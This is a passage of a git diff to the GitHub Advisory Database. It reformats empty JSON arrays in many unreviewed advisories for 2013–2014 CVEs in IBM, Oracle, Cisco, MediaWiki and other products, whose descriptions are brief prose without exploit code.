[ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-563j-jjfg-j587/GHSA-563j-jjfg-j587.json b/advisories/unreviewed/2022/05/GHSA-563j-jjfg-j587/GHSA-563j-jjfg-j587.json index d4fadf71534..667933c78c4 100644 --- a/advisories/unreviewed/2022/05/GHSA-563j-jjfg-j587/GHSA-563j-jjfg-j587.json +++ b/advisories/unreviewed/2022/05/GHSA-563j-jjfg-j587/GHSA-563j-jjfg-j587.json @@ -7,12 +7,8 @@ "CVE-2013-5381" ], "details": "IBM Maximo Asset Management 6.2 through 6.2.8, 7.1 through 7.1.1.12, and 7.5 before 7.5.0.3 allows remote authenticated users to gain privileges via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-56wg-jrcg-xc4q/GHSA-56wg-jrcg-xc4q.json b/advisories/unreviewed/2022/05/GHSA-56wg-jrcg-xc4q/GHSA-56wg-jrcg-xc4q.json index 58b33e2aed8..821a78266f5 100644 --- a/advisories/unreviewed/2022/05/GHSA-56wg-jrcg-xc4q/GHSA-56wg-jrcg-xc4q.json +++ b/advisories/unreviewed/2022/05/GHSA-56wg-jrcg-xc4q/GHSA-56wg-jrcg-xc4q.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-574v-p84w-424w/GHSA-574v-p84w-424w.json b/advisories/unreviewed/2022/05/GHSA-574v-p84w-424w/GHSA-574v-p84w-424w.json index 9730a3c18b0..118b3adc06f 100644 --- a/advisories/unreviewed/2022/05/GHSA-574v-p84w-424w/GHSA-574v-p84w-424w.json +++ b/advisories/unreviewed/2022/05/GHSA-574v-p84w-424w/GHSA-574v-p84w-424w.json @@ -7,12 +7,8 @@ "CVE-2013-5872" ], "details": "Unspecified vulnerability in Oracle Solaris 10 and 11.1 allows local users to affect availability via vectors related to Name Service Cache Daemon (NSCD).", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-58cx-6r78-mfwg/GHSA-58cx-6r78-mfwg.json b/advisories/unreviewed/2022/05/GHSA-58cx-6r78-mfwg/GHSA-58cx-6r78-mfwg.json index 6e3df4b2367..cdf52b37eeb 100644 --- a/advisories/unreviewed/2022/05/GHSA-58cx-6r78-mfwg/GHSA-58cx-6r78-mfwg.json +++ b/advisories/unreviewed/2022/05/GHSA-58cx-6r78-mfwg/GHSA-58cx-6r78-mfwg.json @@ -7,12 +7,8 @@ "CVE-2014-0656" ], "details": "Cisco Context Directory Agent (CDA) allows remote authenticated users to trigger the omission of certain user-interface data via crafted field values, aka Bug ID CSCuj45353.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-58gh-w9m3-2whq/GHSA-58gh-w9m3-2whq.json b/advisories/unreviewed/2022/05/GHSA-58gh-w9m3-2whq/GHSA-58gh-w9m3-2whq.json index c08acc81ce2..0fd2f68916d 100644 --- a/advisories/unreviewed/2022/05/GHSA-58gh-w9m3-2whq/GHSA-58gh-w9m3-2whq.json +++ b/advisories/unreviewed/2022/05/GHSA-58gh-w9m3-2whq/GHSA-58gh-w9m3-2whq.json @@ -7,12 +7,8 @@ "CVE-2013-2710" ], "details": "Cross-site request forgery (CSRF) vulnerability in the Contextual Related Posts plugin before 1.8.7 for WordPress allows remote attackers to hijack the authentication of administrators for requests that conduct cross-site scripting (XSS) attacks via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-58jp-r5wq-7pwf/GHSA-58jp-r5wq-7pwf.json b/advisories/unreviewed/2022/05/GHSA-58jp-r5wq-7pwf/GHSA-58jp-r5wq-7pwf.json index 5bee9e5993e..8c5047cce2c 100644 --- a/advisories/unreviewed/2022/05/GHSA-58jp-r5wq-7pwf/GHSA-58jp-r5wq-7pwf.json +++ b/advisories/unreviewed/2022/05/GHSA-58jp-r5wq-7pwf/GHSA-58jp-r5wq-7pwf.json @@ -7,12 +7,8 @@ "CVE-2013-4042" ], "details": "Unspecified vulnerability in IBM SPSS Collaboration and Deployment Services 4.2.1 and 5.0 through FP2 allows remote attackers to execute arbitrary code via unknown vectors, a different vulnerability than CVE-2013-5370.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-5fr7-jxhc-qxmm/GHSA-5fr7-jxhc-qxmm.json b/advisories/unreviewed/2022/05/GHSA-5fr7-jxhc-qxmm/GHSA-5fr7-jxhc-qxmm.json index 8c7d2d2dc41..16ea97d48a5 100644 --- a/advisories/unreviewed/2022/05/GHSA-5fr7-jxhc-qxmm/GHSA-5fr7-jxhc-qxmm.json +++ b/advisories/unreviewed/2022/05/GHSA-5fr7-jxhc-qxmm/GHSA-5fr7-jxhc-qxmm.json @@ -7,12 +7,8 @@ "CVE-2013-5421" ], "details": "Cross-site scripting (XSS) vulnerability in the IMS server before Ifix 6 in IBM Security Access Manager for Enterprise Single Sign-On (ISAM ESSO) 8.2 allows remote attackers to inject arbitrary web script or HTML via crafted input to an unspecified dynamic web form.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-5g8x-p6v8-2gx5/GHSA-5g8x-p6v8-2gx5.json b/advisories/unreviewed/2022/05/GHSA-5g8x-p6v8-2gx5/GHSA-5g8x-p6v8-2gx5.json index e4612c4109a..729aceef886 100644 --- a/advisories/unreviewed/2022/05/GHSA-5g8x-p6v8-2gx5/GHSA-5g8x-p6v8-2gx5.json +++ b/advisories/unreviewed/2022/05/GHSA-5g8x-p6v8-2gx5/GHSA-5g8x-p6v8-2gx5.json @@ -7,12 +7,8 @@ "CVE-2013-4453" ], "details": "Cross-site scripting (XSS) vulnerability in templates/login.php in LDAP Account Manager (LAM) 4.3 and 4.2.1 allows remote attackers to inject arbitrary web script or HTML via the language parameter.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-5gfr-52xx-j5jx/GHSA-5gfr-52xx-j5jx.json b/advisories/unreviewed/2022/05/GHSA-5gfr-52xx-j5jx/GHSA-5gfr-52xx-j5jx.json index 1103351e5c5..bfa90f2414f 100644 --- a/advisories/unreviewed/2022/05/GHSA-5gfr-52xx-j5jx/GHSA-5gfr-52xx-j5jx.json +++ b/advisories/unreviewed/2022/05/GHSA-5gfr-52xx-j5jx/GHSA-5gfr-52xx-j5jx.json @@ -7,12 +7,8 @@ "CVE-2013-2263" ], "details": "Unspecified vulnerability in Citrix Access Gateway Standard Edition 5.0.x before 5.0.4.223524 allows remote attackers to access network resources via unknown attack vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-5jjv-884g-98wx/GHSA-5jjv-884g-98wx.json b/advisories/unreviewed/2022/05/GHSA-5jjv-884g-98wx/GHSA-5jjv-884g-98wx.json index 82439989a95..a9e4947e020 100644 --- a/advisories/unreviewed/2022/05/GHSA-5jjv-884g-98wx/GHSA-5jjv-884g-98wx.json +++ b/advisories/unreviewed/2022/05/GHSA-5jjv-884g-98wx/GHSA-5jjv-884g-98wx.json @@ -7,12 +7,8 @@ "CVE-2013-5417" ], "details": "Cross-site scripting (XSS) vulnerability in IBM WebSphere Application Server (WAS) 7.0 before 7.0.0.31, 8.0 before 8.0.0.8, and 8.5 before 8.5.5.1 allows remote attackers to inject arbitrary web script or HTML via HTTP response data.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-5m9g-9g6r-qwqx/GHSA-5m9g-9g6r-qwqx.json b/advisories/unreviewed/2022/05/GHSA-5m9g-9g6r-qwqx/GHSA-5m9g-9g6r-qwqx.json index c354a9e360c..7adc6ddd8d4 100644 --- a/advisories/unreviewed/2022/05/GHSA-5m9g-9g6r-qwqx/GHSA-5m9g-9g6r-qwqx.json +++ b/advisories/unreviewed/2022/05/GHSA-5m9g-9g6r-qwqx/GHSA-5m9g-9g6r-qwqx.json @@ -7,12 +7,8 @@ "CVE-2013-3769" ], "details": "Unspecified vulnerability in the Oracle WebCenter Content component in Oracle Fusion Middleware 10.1.3.5.1, 11.1.1.6.0, and 11.1.1.7.0 allows remote attackers to affect integrity via unknown vectors related to Site Studio.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-5mgg-g5pc-wc75/GHSA-5mgg-g5pc-wc75.json b/advisories/unreviewed/2022/05/GHSA-5mgg-g5pc-wc75/GHSA-5mgg-g5pc-wc75.json index d62a689b5ff..e9f4228d573 100644 --- a/advisories/unreviewed/2022/05/GHSA-5mgg-g5pc-wc75/GHSA-5mgg-g5pc-wc75.json +++ b/advisories/unreviewed/2022/05/GHSA-5mgg-g5pc-wc75/GHSA-5mgg-g5pc-wc75.json @@ -7,12 +7,8 @@ "CVE-2013-4799" ], "details": "Unspecified vulnerability in HP LoadRunner before 11.52 allows remote attackers to execute arbitrary code via unknown vectors, aka ZDI-CAN-1734.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-5mpf-9249-jgx6/GHSA-5mpf-9249-jgx6.json b/advisories/unreviewed/2022/05/GHSA-5mpf-9249-jgx6/GHSA-5mpf-9249-jgx6.json index a154c168630..8a7cc1f41f7 100644 --- a/advisories/unreviewed/2022/05/GHSA-5mpf-9249-jgx6/GHSA-5mpf-9249-jgx6.json +++ b/advisories/unreviewed/2022/05/GHSA-5mpf-9249-jgx6/GHSA-5mpf-9249-jgx6.json @@ -7,12 +7,8 @@ "CVE-2013-4034" ], "details": "IBM Cognos Business Intelligence 8.4.1 before IF3, 10.1.0 before IF4, 10.1.1 before IF4, 10.2.0 before IF4, 10.2.1 before IF2, and 10.2.1.1 before IF1 allows remote authenticated users to read arbitrary files via an XML external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-5mwr-3p82-mh26/GHSA-5mwr-3p82-mh26.json b/advisories/unreviewed/2022/05/GHSA-5mwr-3p82-mh26/GHSA-5mwr-3p82-mh26.json index 2ca751df13f..50dee3c46ef 100644 --- a/advisories/unreviewed/2022/05/GHSA-5mwr-3p82-mh26/GHSA-5mwr-3p82-mh26.json +++ b/advisories/unreviewed/2022/05/GHSA-5mwr-3p82-mh26/GHSA-5mwr-3p82-mh26.json @@ -7,12 +7,8 @@ "CVE-2013-3768" ], "details": "Unspecified vulnerability in the PeopleSoft Enterprise PeopleTools component in Oracle PeopleSoft Products 8.51, 8.52, and 8.53 allows remote attackers to affect integrity via unknown vectors related to Rich Text Editor.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-5q8q-56m2-q63m/GHSA-5q8q-56m2-q63m.json b/advisories/unreviewed/2022/05/GHSA-5q8q-56m2-q63m/GHSA-5q8q-56m2-q63m.json index de11a3a715e..bc8dca3103e 100644 --- a/advisories/unreviewed/2022/05/GHSA-5q8q-56m2-q63m/GHSA-5q8q-56m2-q63m.json +++ b/advisories/unreviewed/2022/05/GHSA-5q8q-56m2-q63m/GHSA-5q8q-56m2-q63m.json @@ -7,12 +7,8 @@ "CVE-2014-0652" ], "details": "Cross-site scripting (XSS) vulnerability in the Mappings page in Cisco Context Directory Agent (CDA) allows remote attackers to inject arbitrary web script or HTML via a crafted URL, aka Bug ID CSCuj45358.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-5qpc-6qqc-37f6/GHSA-5qpc-6qqc-37f6.json b/advisories/unreviewed/2022/05/GHSA-5qpc-6qqc-37f6/GHSA-5qpc-6qqc-37f6.json index 63ab8c5f4e0..1129913e489 100644 --- a/advisories/unreviewed/2022/05/GHSA-5qpc-6qqc-37f6/GHSA-5qpc-6qqc-37f6.json +++ b/advisories/unreviewed/2022/05/GHSA-5qpc-6qqc-37f6/GHSA-5qpc-6qqc-37f6.json @@ -7,12 +7,8 @@ "CVE-2013-4039" ], "details": "IBM WebSphere Extended Deployment Compute Grid 8.0 before 8.0.0.3 allows remote authenticated users to obtain sensitive information, and consequently bypass intended access restrictions on jobs, via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-5vmf-p269-q8w4/GHSA-5vmf-p269-q8w4.json b/advisories/unreviewed/2022/05/GHSA-5vmf-p269-q8w4/GHSA-5vmf-p269-q8w4.json index d332ab81b15..fd401c7c8a0 100644 --- a/advisories/unreviewed/2022/05/GHSA-5vmf-p269-q8w4/GHSA-5vmf-p269-q8w4.json +++ b/advisories/unreviewed/2022/05/GHSA-5vmf-p269-q8w4/GHSA-5vmf-p269-q8w4.json @@ -7,12 +7,8 @@ "CVE-2013-6322" ], "details": "Cross-site scripting (XSS) vulnerability in Sterling Order Management in IBM Sterling Selling and Fulfillment Suite 8.0 before HF128 and 8.5 before HF93 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-5w5v-4mrp-h63j/GHSA-5w5v-4mrp-h63j.json b/advisories/unreviewed/2022/05/GHSA-5w5v-4mrp-h63j/GHSA-5w5v-4mrp-h63j.json index efb6068daf7..8df74a6010b 100644 --- a/advisories/unreviewed/2022/05/GHSA-5w5v-4mrp-h63j/GHSA-5w5v-4mrp-h63j.json +++ b/advisories/unreviewed/2022/05/GHSA-5w5v-4mrp-h63j/GHSA-5w5v-4mrp-h63j.json @@ -7,12 +7,8 @@ "CVE-2013-5452" ], "details": "IBM FileNet Business Process Framework 4.1.0 allows remote authenticated users to read arbitrary files or send TCP requests to intranet servers via XML data containing an external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-5w5x-ffjj-2495/GHSA-5w5x-ffjj-2495.json b/advisories/unreviewed/2022/05/GHSA-5w5x-ffjj-2495/GHSA-5w5x-ffjj-2495.json index 2a7b621b7d1..f03451bbcee 100644 --- a/advisories/unreviewed/2022/05/GHSA-5w5x-ffjj-2495/GHSA-5w5x-ffjj-2495.json +++ b/advisories/unreviewed/2022/05/GHSA-5w5x-ffjj-2495/GHSA-5w5x-ffjj-2495.json @@ -7,12 +7,8 @@ "CVE-2013-3425" ], "details": "The Meeting Center component in Cisco WebEx 11 generates different error messages for invalid file-access attempts depending on whether a file exists, which allows remote authenticated users to enumerate files via a series of SPI calls, aka Bug ID CSCuc35965.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-5w6w-vjhx-p5gf/GHSA-5w6w-vjhx-p5gf.json b/advisories/unreviewed/2022/05/GHSA-5w6w-vjhx-p5gf/GHSA-5w6w-vjhx-p5gf.json index 5f2f6bdea3d..e3ed2ab1f39 100644 --- a/advisories/unreviewed/2022/05/GHSA-5w6w-vjhx-p5gf/GHSA-5w6w-vjhx-p5gf.json +++ b/advisories/unreviewed/2022/05/GHSA-5w6w-vjhx-p5gf/GHSA-5w6w-vjhx-p5gf.json @@ -7,12 +7,8 @@ "CVE-2013-4048" ], "details": "Cross-site scripting (XSS) vulnerability in IBM SPSS Analytical Decision Management 6.1 before IF1, 6.2 before IF1, and 7.0 before FP1 IF6 allows remote authenticated users to inject arbitrary web script or HTML via vectors involving addition of script to a page.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-5xpf-9vwg-2chq/GHSA-5xpf-9vwg-2chq.json b/advisories/unreviewed/2022/05/GHSA-5xpf-9vwg-2chq/GHSA-5xpf-9vwg-2chq.json index 7e272a43ea7..cc4ab693baa 100644 --- a/advisories/unreviewed/2022/05/GHSA-5xpf-9vwg-2chq/GHSA-5xpf-9vwg-2chq.json +++ b/advisories/unreviewed/2022/05/GHSA-5xpf-9vwg-2chq/GHSA-5xpf-9vwg-2chq.json @@ -7,12 +7,8 @@ "CVE-2013-6888" ], "details": "Uscan in devscripts before 2.13.9 allows remote attackers to execute arbitrary code via a crafted tarball.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -52,9 +48,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-6255-c85v-wr97/GHSA-6255-c85v-wr97.json b/advisories/unreviewed/2022/05/GHSA-6255-c85v-wr97/GHSA-6255-c85v-wr97.json index f489a289c38..2df4b1bb694 100644 --- a/advisories/unreviewed/2022/05/GHSA-6255-c85v-wr97/GHSA-6255-c85v-wr97.json +++ b/advisories/unreviewed/2022/05/GHSA-6255-c85v-wr97/GHSA-6255-c85v-wr97.json @@ -7,12 +7,8 @@ "CVE-2013-4308" ], "details": "Cross-site scripting (XSS) vulnerability in pages/TalkpageHistoryView.php in the LiquidThreads (LQT) extension 2.x and possibly 3.x for MediaWiki 1.19.x before 1.19.8, 1.20.x before 1.20.7, and 1.21.x before 1.21.2 allows remote attackers to inject arbitrary web script or HTML via a thread subject.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-62fr-vwp2-cppj/GHSA-62fr-vwp2-cppj.json b/advisories/unreviewed/2022/05/GHSA-62fr-vwp2-cppj/GHSA-62fr-vwp2-cppj.json index bb6337e362e..e22a15c401e 100644 --- a/advisories/unreviewed/2022/05/GHSA-62fr-vwp2-cppj/GHSA-62fr-vwp2-cppj.json +++ b/advisories/unreviewed/2022/05/GHSA-62fr-vwp2-cppj/GHSA-62fr-vwp2-cppj.json @@ -7,12 +7,8 @@ "CVE-2013-6332" ], "details": "Unrestricted file upload vulnerability in IBM Algo One UDS 4.7.0 through 5.0.0 allows remote authenticated users to execute arbitrary code by uploading a .jsp file and then launching it.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-6452-g67q-8rc3/GHSA-6452-g67q-8rc3.json b/advisories/unreviewed/2022/05/GHSA-6452-g67q-8rc3/GHSA-6452-g67q-8rc3.json index 0d6fce79070..5b20d14442b 100644 --- a/advisories/unreviewed/2022/05/GHSA-6452-g67q-8rc3/GHSA-6452-g67q-8rc3.json +++ b/advisories/unreviewed/2022/05/GHSA-6452-g67q-8rc3/GHSA-6452-g67q-8rc3.json @@ -7,12 +7,8 @@ "CVE-2013-6162" ], "details": "Cross-site scripting (XSS) vulnerability in Code-Crafters Ability Mail Server 3.1.1 allows remote attackers to inject arbitrary web script or HTML via the body of an email.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-64pp-r5x2-fgff/GHSA-64pp-r5x2-fgff.json b/advisories/unreviewed/2022/05/GHSA-64pp-r5x2-fgff/GHSA-64pp-r5x2-fgff.json index 5389e516920..396e30cea4c 100644 --- a/advisories/unreviewed/2022/05/GHSA-64pp-r5x2-fgff/GHSA-64pp-r5x2-fgff.json +++ b/advisories/unreviewed/2022/05/GHSA-64pp-r5x2-fgff/GHSA-64pp-r5x2-fgff.json @@ -13,9 +13,7 @@ "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-6539-7884-hc84/GHSA-6539-7884-hc84.json b/advisories/unreviewed/2022/05/GHSA-6539-7884-hc84/GHSA-6539-7884-hc84.json index 9c2cc5c994e..13065d57192 100644 --- a/advisories/unreviewed/2022/05/GHSA-6539-7884-hc84/GHSA-6539-7884-hc84.json +++ b/advisories/unreviewed/2022/05/GHSA-6539-7884-hc84/GHSA-6539-7884-hc84.json @@ -7,12 +7,8 @@ "CVE-2013-7274" ], "details": "Cross-site scripting (XSS) vulnerability in Wallpaper Script 3.5.0082 allows remote authenticated users to inject arbitrary web script or HTML via the title field in a wallpaper file upload.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-65r6-vqxc-x5c8/GHSA-65r6-vqxc-x5c8.json b/advisories/unreviewed/2022/05/GHSA-65r6-vqxc-x5c8/GHSA-65r6-vqxc-x5c8.json index 870b7b351c6..80189fdc810 100644 --- a/advisories/unreviewed/2022/05/GHSA-65r6-vqxc-x5c8/GHSA-65r6-vqxc-x5c8.json +++ b/advisories/unreviewed/2022/05/GHSA-65r6-vqxc-x5c8/GHSA-65r6-vqxc-x5c8.json @@ -7,12 +7,8 @@ "CVE-2013-6323" ], "details": "Cross-site scripting (XSS) vulnerability in the Administration Console in IBM WebSphere Application Server (WAS) 7.x before 7.0.0.33, 8.x before 8.0.0.9, and 8.5.x before 8.5.5.2, and WebSphere Virtual Enterprise 7.x before 7.0.0.5, allows remote authenticated users to inject arbitrary web script or HTML via a crafted URL.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-65vp-5ffm-fx44/GHSA-65vp-5ffm-fx44.json b/advisories/unreviewed/2022/05/GHSA-65vp-5ffm-fx44/GHSA-65vp-5ffm-fx44.json index 31523dacd2c..b9664940994 100644 --- a/advisories/unreviewed/2022/05/GHSA-65vp-5ffm-fx44/GHSA-65vp-5ffm-fx44.json +++ b/advisories/unreviewed/2022/05/GHSA-65vp-5ffm-fx44/GHSA-65vp-5ffm-fx44.json @@ -7,12 +7,8 @@ "CVE-2013-5380" ], "details": "IBM Maximo Asset Management 6.2 through 6.2.8, 7.1 before 7.1.1.12, and 7.5 before 7.5.0.5 allows local users to obtain sensitive information via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-6627-4m3v-x6v4/GHSA-6627-4m3v-x6v4.json b/advisories/unreviewed/2022/05/GHSA-6627-4m3v-x6v4/GHSA-6627-4m3v-x6v4.json index 5767caa1469..ec99b9624d5 100644 --- a/advisories/unreviewed/2022/05/GHSA-6627-4m3v-x6v4/GHSA-6627-4m3v-x6v4.json +++ b/advisories/unreviewed/2022/05/GHSA-6627-4m3v-x6v4/GHSA-6627-4m3v-x6v4.json @@ -7,12 +7,8 @@ "CVE-2013-5454" ], "details": "IBM WebSphere Portal 6.0 through 6.0.1.7, 6.1.0 through 6.1.0.6 CF27, 6.1.5 through 6.1.5.3 CF27, 7.0 through 7.0.0.2 CF25, and 8.0 through 8.0.0.1 CF08 allows remote attackers to read arbitrary files via a modified URL.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-66w9-78v3-vh9m/GHSA-66w9-78v3-vh9m.json b/advisories/unreviewed/2022/05/GHSA-66w9-78v3-vh9m/GHSA-66w9-78v3-vh9m.json index a0a85fd6c8f..7e0f605dd3c 100644 --- a/advisories/unreviewed/2022/05/GHSA-66w9-78v3-vh9m/GHSA-66w9-78v3-vh9m.json +++ b/advisories/unreviewed/2022/05/GHSA-66w9-78v3-vh9m/GHSA-66w9-78v3-vh9m.json @@ -7,12 +7,8 @@ "CVE-2013-6164" ], "details": "SQL injection vulnerability in view/objectDetail.php in Project'Or RIA 3.4.0 allows remote attackers to execute arbitrary SQL commands via the objectId parameter.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-6762-rqcg-h338/GHSA-6762-rqcg-h338.json b/advisories/unreviewed/2022/05/GHSA-6762-rqcg-h338/GHSA-6762-rqcg-h338.json index 31b562567e2..fe4639ad6e8 100644 --- a/advisories/unreviewed/2022/05/GHSA-6762-rqcg-h338/GHSA-6762-rqcg-h338.json +++ b/advisories/unreviewed/2022/05/GHSA-6762-rqcg-h338/GHSA-6762-rqcg-h338.json @@ -7,12 +7,8 @@ "CVE-2013-4301" ], "details": "includes/resourceloader/ResourceLoaderContext.php in MediaWiki 1.19.x before 1.19.8, 1.20.x before 1.20.7, and 1.21.x before 1.21.2 allows remote attackers to obtain sensitive information via a \"<\" (open angle bracket) character in the lang parameter to w/load.php, which reveals the installation path in an error message.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-67cr-g9fw-r2f2/GHSA-67cr-g9fw-r2f2.json b/advisories/unreviewed/2022/05/GHSA-67cr-g9fw-r2f2/GHSA-67cr-g9fw-r2f2.json index 89b65bb70f6..efe30fc108a 100644 --- a/advisories/unreviewed/2022/05/GHSA-67cr-g9fw-r2f2/GHSA-67cr-g9fw-r2f2.json +++ b/advisories/unreviewed/2022/05/GHSA-67cr-g9fw-r2f2/GHSA-67cr-g9fw-r2f2.json @@ -7,12 +7,8 @@ "CVE-2013-6796" ], "details": "The SMTP server in DeepOfix 3.3 and earlier allows remote attackers to bypass authentication via an empty password, which triggers an LDAP anonymous bind.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-67m3-h855-88hx/GHSA-67m3-h855-88hx.json b/advisories/unreviewed/2022/05/GHSA-67m3-h855-88hx/GHSA-67m3-h855-88hx.json index eaa323afe1d..86ce2f16d23 100644 --- a/advisories/unreviewed/2022/05/GHSA-67m3-h855-88hx/GHSA-67m3-h855-88hx.json +++ b/advisories/unreviewed/2022/05/GHSA-67m3-h855-88hx/GHSA-67m3-h855-88hx.json @@ -7,12 +7,8 @@ "CVE-2013-4749" ], "details": "Cross-site scripting (XSS) vulnerability in the UserTask Center, Messaging (sys_messages) extension 1.1.0 and earlier for TYPO3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git 